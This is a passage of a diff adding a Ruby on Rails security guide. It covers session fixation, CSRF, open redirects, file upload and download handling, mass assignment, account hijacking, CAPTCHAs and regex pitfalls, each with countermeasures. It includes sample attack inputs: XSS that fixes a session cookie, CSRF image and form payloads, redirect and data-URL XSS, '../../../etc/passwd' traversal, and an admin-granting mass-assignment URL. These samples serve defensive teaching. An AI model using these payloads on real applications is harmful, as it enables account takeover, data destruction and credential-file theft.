+ * A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).
113
+ * The user buys something.
114
+ * His new, lower credit will be stored in the session.
115
+ * The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
116
+ * The user has his credit back.
117
+
118
+ Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
119
+
120
+ The best _(highlight)solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session.
121
+
122
+ h4. Session Fixation
123
+
124
+ -- _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._
125
+
126
+ !images/session_fixation.png(Session fixation)!
127
+
128
+ This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:
129
+
130
+ # The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
131
+ # He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
132
+ # Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: +&lt;script&gt;
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
&lt;/script&gt;+. Read more about XSS and injection later on.
133
+ # The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
134
+ # As the new trap session is unused, the web application will require the user to authenticate.
135
+ # From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
136
+
137
+ h4. Session Fixation – Countermeasures
138
+
139
+ -- _One line of code will protect you from session fixation._
140
+
141
+ The most effective countermeasure is to _(highlight)issue a new session identifier_ and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
142
+
143
+ <ruby>
144
+ reset_session
145
+ </ruby>
146
+
147
+ If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, _(highlight)you have to transfer them to the new session_.
148
+
149
+ Another countermeasure is to _(highlight)save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _(highlight)These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way.
150
+
151
+ h4. Session Expiry
152
+
153
+ -- _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._
154
+
155
+ One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _(highlight)expire sessions in a database table_. Call +Session.sweep("20 minutes")+ to expire sessions that were used longer than 20 minutes ago.
156
+
157
+ <ruby>
158
+ class Session < ActiveRecord::Base
159
+ def self.sweep(time = 1.hour)
160
+ if time.is_a?(String)
161
+ time = time.split.inject { |count, unit| count.to_i.send(unit) }
162
+ end
163
+
164
+ delete_all "updated_at < '#{time.ago.to_s(:db)}'"
165
+ end
166
+ end
167
+ </ruby>
168
+
169
+ The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
170
+
171
+ <ruby>
172
+ delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
173
+ created_at < '#{2.days.ago.to_s(:db)}'"
174
+ </ruby>
175
+
176
+ h3. Cross-Site Request Forgery (CSRF)
177
+
178
+ -- _This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands._
179
+
180
+ !images/csrf.png!
181
+
182
+ In the <a href="#sessions">session chapter</a> you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:
183
+
184
+ * Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
185
+ * +&lt;img src="http://www.webapp.com/project/1/destroy"&gt;+
186
+ * Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
187
+ * By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
188
+ * The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
189
+ * Bob doesn't notice the attack -- but a few days later he finds out that project number one is gone.
190
+
191
+ It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.
192
+
193
+ CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _(highlight)CSRF is an important security issue_.
194
+
195
+ h4. CSRF Countermeasures
196
+
197
+ -- _First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF._
198
+
199
+ The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:
200
+
201
+ *Use GET if:*
202
+
203
+ * The interaction is more _(highlight)like a question_ (i.e., it is a safe operation such as a query, read operation, or lookup).
204
+
205
+ *Use POST if:*
206
+
207
+ * The interaction is more _(highlight)like an order_, or
208
+ * The interaction _(highlight)changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or
209
+ * The user is _(highlight)held accountable for the results_ of the interaction.
210
+
211
+ If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today's web browsers, however do not support them - only GET and POST. Rails uses a hidden +_method+ field to handle this barrier.
212
+
213
+ _(highlight)POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.
214
+
215
+ <html>
216
+ <a href="http://www.harmless.com/" onclick="
217
+ var f = document.createElement('form');
218
+ f.style.display = 'none';
219
+ this.parentNode.appendChild(f);
220
+ f.method = 'POST';
221
+ f.action = 'http://www.example.com/account/destroy';
222
+ f.submit();
223
+ return false;">To the harmless survey</a>
224
+ </html>
225
+
226
+ Or the attacker places the code into the onmouseover event handler of an image:
227
+
228
+ <html>
229
+ <img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
230
+ </html>
231
+
232
+ There are many other possibilities, including Ajax to attack the victim in the background.
The _(highlight)solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
233
+
234
+ <ruby>
235
+ protect_from_forgery :secret => "123456789012345678901234567890..."
236
+ </ruby>
237
+
238
+ This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. If the security token doesn't match what was expected, the session will be reset. *Note:* In Rails versions prior to 3.0.4, this raised an <tt>ActionController::InvalidAuthenticityToken</tt> error.
239
+
240
+ Note that _(highlight)cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
241
+
242
+ h3. Redirection and Files
243
+
244
+ Another class of security vulnerabilities surrounds the use of redirection and files in web applications.
245
+
246
+ h4. Redirection
247
+
248
+ -- _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._
249
+
250
+ Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:
251
+
252
+ <ruby>
253
+ def legacy
254
+ redirect_to(params.update(:action=>'main'))
255
+ end
256
+ </ruby>
257
+
258
+ This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:
259
+
260
+ <plain>
261
+ http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
262
+ </plain>
263
+
264
+ If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _(highlight)include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _(highlight)And if you redirect to an URL, check it with a whitelist or a regular expression_.
265
+
266
+ h5. Self-contained XSS
267
+
268
+ Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:
269
+
270
+ +data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K+
271
+
272
+ This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, _(highlight)do not allow the user to supply (parts of) the URL to be redirected to_.
273
+
274
+ h4. File Uploads
275
+
276
+ -- _Make sure file uploads don't overwrite important files, and process media files asynchronously._
277
+
278
+ Many web applications allow users to upload files. _(highlight)File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.
279
+
280
+ When filtering user input file names, _(highlight)don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _(highlight)checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the "attachment_fu plugin":https://github.com/technoweenie/attachment_fu/tree/master:
281
+
282
+ <ruby>
283
+ def sanitize_filename(filename)
284
+ filename.strip.tap do |name|
285
+ # NOTE: File.basename doesn't work right with Windows paths on Unix
286
+ # get only the filename, not the whole path
287
+ name.sub! /\A.*(\\|\/)/, ''
288
+ # Finally, replace all non alphanumeric, underscore
289
+ # or periods with underscore
290
+ name.gsub! /[^\w\.\-]/, '_'
291
+ end
292
+ end
293
+ </ruby>
294
+
295
+ A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its _(highlight)vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
296
+
297
+ The solution to this is best to _(highlight)process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
298
+
299
+ h4. Executable Code in File Uploads
300
+
301
+ -- _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._
302
+
303
+ The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file.
304
+
305
+ _(highlight)If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards.
306
+
307
+ h4. File Downloads
308
+
309
+ -- _Make sure users cannot download arbitrary files._
310
+
311
+ Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:
312
+
313
+ <ruby>
314
+ send_file('/var/www/uploads/' + params[:filename])
315
+ </ruby>
316
+
317
+ Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to _(highlight)check that the requested file is in the expected directory_:
318
+
319
+ <ruby>
320
+ basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
321
+ filename = File.expand_path(File.join(basename, @file.public_filename))
322
+ raise if basename !=
323
+ File.expand_path(File.join(File.dirname(filename), '../../../'))
324
+ send_file filename, :disposition => 'inline'
325
+ </ruby>
326
+
327
+ Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.
328
+
329
+ h3. Intranet and Admin Security
330
+
331
+ -- _Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world._
332
+
333
+ In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

334
+
335
+ *XSS* If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
336
+
337
+ Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
338
+
339
+ Refer to the Injection section for countermeasures against XSS. It is _(highlight)recommended to use the SafeErb plugin_ also in an Intranet or administration interface.
340
+
341
+ *CSRF* Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
342
+
343
+ A real-world example is a "router reconfiguration by CSRF":http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
344
+
345
+ Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.

346
+
347
+ Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
348
+
349
+ For _(highlight)countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_.
350
+
351
+ h4. Additional Precautions
352
+
353
+ The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:
354
+
355
+ * It is very important to _(highlight)think about the worst case_: What if someone really got hold of my cookie or user credentials. You could _(highlight)introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _(highlight)special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _(highlight)special password for very serious actions_?
356
+
357
+ * Does the admin really have to access the interface from everywhere in the world? Think about _(highlight)limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
358
+
359
+ * _(highlight)Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
360
+
361
+ h3. Mass Assignment
362
+
363
+ -- _Without any precautions Model.new(params[:model]) allows attackers to set any database column's value._
364
+
365
+ The mass-assignment feature may become a problem, as it allows an attacker to set any model's attributes by manipulating the hash passed to a model's +new()+ method:
366
+
367
+ <ruby>
368
+ def signup
369
+ params[:user] # => {:name => “ow3ned”, :admin => true}
370
+ @user = User.new(params[:user])
371
+ end
372
+ </ruby>
373
+
374
+ Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the +new+ method, or +assign_attributes=+ a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:
375
+
376
+ <pre>
377
+ http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1
378
+ </pre>
379
+
380
+ This will set the following parameters in the controller:
381
+
382
+ <ruby>
383
+ params[:user] # => {:name => “ow3ned”, :admin => true}
384
+ </ruby>
385
+
386
+ So if you create a new user using mass-assignment, it may be too easy to become an administrator.
387
+
388
+ Note that this vulnerability is not restricted to database columns. Any setter method, unless explicitly protected, is accessible via the <tt>attributes=</tt> method. In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in Rails 2.3+. The +accepts_nested_attributes_for+ declaration provides us the ability to extend mass assignment to model associations (+has_many+, +has_one+, +has_and_belongs_to_many+). For example:
389
+
390
+ <ruby>
391
+ class Person < ActiveRecord::Base
392
+ has_many :children
393
+
394
+ accepts_nested_attributes_for :children
395
+ end
396
+
397
+ class Child < ActiveRecord::Base
398
+ belongs_to :person
399
+ end
400
+ </ruby>
401
+
402
+ As a result, the vulnerability is extended beyond simply exposing column assignment, allowing attackers the ability to create entirely new records in referenced tables (children in this case).
403
+
404
+ h4. Countermeasures
405
+
406
+ To avoid this, Rails provides two class methods in your Active Record class to control access to your attributes. The +attr_protected+ method takes a list of attributes that will not be accessible for mass-assignment. For example:
407
+
408
+ <ruby>
409
+ attr_protected :admin
410
+ </ruby>
411
+
412
+ +attr_protected+ also optionally takes a role option using :as which allows you to define multiple mass-assignment groupings. If no role is defined then attributes will be added to the :default role.
413
+
414
+ <ruby>
415
+ attr_protected :last_login, :as => :admin
416
+ </ruby>
417
+
418
+ A much better way, because it follows the whitelist-principle, is the +attr_accessible+ method. It is the exact opposite of +attr_protected+, because _(highlight)it takes a list of attributes that will be accessible_. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:
419
+
420
+ <ruby>
421
+ attr_accessible :name
422
+ attr_accessible :name, :is_admin, :as => :admin
423
+ </ruby>
424
+
425
+ If you want to set a protected attribute, you will to have to assign it individually:
426
+
427
+ <ruby>
428
+ params[:user] # => {:name => "ow3ned", :admin => true}
429
+ @user = User.new(params[:user])
430
+ @user.admin # => false # not mass-assigned
431
+ @user.admin = true
432
+ @user.admin # => true
433
+ </ruby>
434
+
435
+ When assigning attributes in Active Record using +attributes=+ the :default role will be used. To assign attributes using different roles you should use +assign_attributes+ which accepts an optional :as options parameter. If no :as option is provided then the :default role will be used. You can also bypass mass-assignment security by using the +:without_protection+ option. Here is an example:
436
+
437
+ <ruby>
438
+ @user = User.new
439
+
440
+ @user.assign_attributes({ :name => 'Josh', :is_admin => true })
441
+ @user.name # => Josh
442
+ @user.is_admin # => false
443
+
444
+ @user.assign_attributes({ :name => 'Josh', :is_admin => true }, :as => :admin)
445
+ @user.name # => Josh
446
+ @user.is_admin # => true
447
+
448
+ @user.assign_attributes({ :name => 'Josh', :is_admin => true }, :without_protection => true)
449
+ @user.name # => Josh
450
+ @user.is_admin # => true
451
+ </ruby>
452
+
453
+ In a similar way, +new+, +create+, <tt>create!</tt>, +update_attributes+, and +update_attributes!+ methods all respect mass-assignment security and accept either +:as+ or +:without_protection+ options. For example:
454
+
455
+ <ruby>
456
+ @user = User.new({ :name => 'Sebastian', :is_admin => true }, :as => :admin)
457
+ @user.name # => Sebastian
458
+ @user.is_admin # => true
459
+
460
+ @user = User.create({ :name => 'Sebastian', :is_admin => true }, :without_protection => true)
461
+ @user.name # => Sebastian
462
+ @user.is_admin # => true
463
+ </ruby>
464
+
465
+ A more paranoid technique to protect your whole project would be to enforce that all models define their accessible attributes. This can be easily achieved with a very simple application config option of:
466
+
467
+ <ruby>
468
+ config.active_record.whitelist_attributes = true
469
+ </ruby>
470
+
471
+ This will create an empty whitelist of attributes available for mass-assignment for all models in your app. As such, your models will need to explicitly whitelist or blacklist accessible parameters by using an +attr_accessible+ or +attr_protected+ declaration. This technique is best applied at the start of a new project. However, for an existing project with a thorough set of functional tests, it should be straightforward and relatively quick to use this application config option; run your tests, and expose each attribute (via +attr_accessible+ or +attr_protected+) as dictated by your failing tests.
472
+
473
+ h3. User Management
474
+
475
+ -- _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._
476
+
477
+ There are a number of authentication plug-ins for Rails available. Good ones, such as the popular "devise":https://github.com/plataformatec/devise and "authlogic":https://github.com/binarylogic/authlogic, store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in +has_secure_password+ method which has similar features.
478
+
479
+ Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
480
+
481
+ <plain>
482
+ http://localhost:3006/user/activate
483
+ http://localhost:3006/user/activate?id=
484
+ </plain>
485
+
486
+ This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:
487
+
488
+ <ruby>
489
+ User.find_by_activation_code(params[:id])
490
+ </ruby>
491
+
492
+ If the parameter was nil, the resulting SQL query will be
493
+
494
+ <sql>
495
+ SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
496
+ </sql>
497
+
498
+ And thus it found the first user in the database, returned it and logged him in. You can find out more about it in "my blog post":http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/. _(highlight)It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
499
+
500
+ h4. Brute-Forcing Accounts
501
+
502
+ -- _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._
503
+
504
+ A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes.
505
+
506
+ Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names.
507
+
508
+ However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.
509
+
510
+ In order to mitigate such attacks, _(highlight)display a generic error message on forgot-password pages, too_. Moreover, you can _(highlight)require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
511
+
512
+ h4. Account Hijacking
513
+
514
+ -- _Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?_
515
+
516
+ h5. Passwords
517
+
518
+ Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _(highlight)make change-password forms safe against CSRF_, of course. And _(highlight)require the user to enter the old password when changing it_.
519
+
520
+ h5. E-Mail
521
+
522
+ However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _(highlight)require the user to enter the password when changing the e-mail address, too_.
523
+
524
+ h5. Other
525
+
526
+ Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in "Google Mail":http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _(highlight)review your application logic and eliminate all XSS and CSRF vulnerabilities_.
527
+
528
+ h4. CAPTCHAs
529
+
530
+ -- _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that he is human, but reveal that a robot is a robot._
531
+
532
+ But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is "reCAPTCHA":http://recaptcha.net/ which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. "ReCAPTCHA":http://ambethia.com/recaptcha/ is also a Rails plug-in with the same name as the API.
533
+
534
+ You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
535
+ The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.
536
+
537
+ Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.
538
+
539
+ Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
540
+
541
+ * position the fields off of the visible area of the page
542
+ * make the elements very small or color them the same as the background of the page
543
+ * leave the fields displayed, but tell humans to leave them blank
544
+
545
+ The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
546
+
547
+ You can find more sophisticated negative CAPTCHAs in Ned Batchelder's "blog post":http://nedbatchelder.com/text/stopbots.html:
548
+
549
+ * Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
550
+ * Randomize the field names
551
+ * Include more than one honeypot field of all types, including submission buttons
552
+
553
+ Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So _(highlight)negative CAPTCHAs might not be good to protect login forms_.
554
+
555
+ h4. Logging
556
+
557
+ -- _Tell Rails not to put passwords in the log files._
558
+
559
+ By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _(highlight)filter certain request parameters from your log files_ by appending them to <tt>config.filter_parameters</tt> in the application configuration. These parameters will be marked [FILTERED] in the log.
560
+
561
+ <ruby>
562
+ config.filter_parameters << :password
563
+ </ruby>
564
+
565
+ h4. Good Passwords
566
+
567
+ -- _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
568
+
569
+ Bruce Schneier, a security technologist, "has analyzed":http://www.schneier.com/blog/archives/2006/12/realworld_passw.html 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
570
+
571
+ password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.
572
+
573
+ It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.
574
+
575
+ A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _(highlight)first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
576
+
577
+ h4. Regular Expressions
578
+
579
+ -- _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._
580
+
581
+ Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:
582
+
583
+ <ruby>
584
+ class File < ActiveRecord::Base
585
+ validates :name, :format => /^[\w\.\-\<plus>]<plus>$/
586
+ end
587
+ </ruby>
588
+
589
+ This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added ^ and $ so that file name will contain these characters from the beginning to the end of the string. However, _(highlight)in Ruby ^ and $ matches the *line* beginning and line end_. And thus a file name like this passes the filter without problems:
590
+
591
+ <plain>
592
+ file.txt%0A<script>alert('hello')</script>
593
+ </plain>
594
+
595
+ Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n&lt;script&gt;alert('hello')&lt;/script&gt;". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:
596
+
597
+ <ruby>
598
+ /\A[\w\.\-\<plus>]<plus>\z/
599
+ </ruby>
600
+
601
+ h4. Privilege Escalation
602
+
603
+ -- _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._
604
+
605
